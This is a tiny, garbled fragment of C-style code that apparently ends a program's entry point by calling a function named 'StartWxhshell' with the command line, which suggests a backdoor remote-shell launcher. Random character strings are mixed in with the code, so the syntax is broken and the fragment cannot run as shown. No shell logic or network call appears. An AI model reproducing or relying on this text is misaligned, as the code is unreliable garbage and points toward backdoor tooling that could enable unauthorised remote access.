StartWxhshell(lpCmdLine); #Mem2cz
1:{O RX[;
return 0; jXDzjt94J
}